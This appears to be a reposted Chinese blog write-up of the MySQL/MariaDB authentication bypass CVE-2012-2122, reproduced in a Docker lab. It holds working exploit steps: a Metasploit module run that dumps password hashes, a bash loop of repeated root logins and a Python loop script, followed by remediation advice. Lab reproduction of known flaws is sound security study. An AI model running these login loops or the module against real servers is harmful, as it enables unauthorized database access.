(CVE-2012-2122)Mysql身份认证漏洞
Posted 王小帥
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(CVE-2012-2122)Mysql身份认证漏洞相关的知识,希望对你有一定的参考价值。
目录
漏洞描述
当连接MariaDB/mysql时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。
影响版本
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not
漏洞复现
靶机:192.168.41.138
攻击机:192.168.41.142
打开环境:
docker-compose up -d
docker ps
使用MSF进行检测:
攻击机操作:
msfconsole
search CVE-2012-2122
use 0
show options
set rhosts 192.168.41.138
run
攻击机访问txt文件得到密码和哈希:
哈希解密:
用户名:root
密码:123456
远程登录:
使用Linux执行命令进行爆破复现:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.41.138 -P3306 ; done
利用for循环去做验证
成功进入mysql命令行:
使用python脚本进行复现:
源码:
import subprocess
while 1:
subprocess.Popen("mysql -h 192.168.41.138 -P 3306 -u root --password=blah", shell=True).wait()
python CVE-2012-2122.py
进入mysql命令行
关闭环境
docker-compose down
docker ps
漏洞修复
- MySQL数据库更新到最新版本
- 禁止陌生ip远程登录MySQL数据库
- 修改数据库用户名、密码
- 升级补丁:http://www.mysql.com/
以上是关于(CVE-2012-2122)Mysql身份认证漏洞的主要内容,如果未能解决你的问题,请参考以下文章
Vulhub-Mysql 身份认证绕过漏洞(CVE-2012-2122)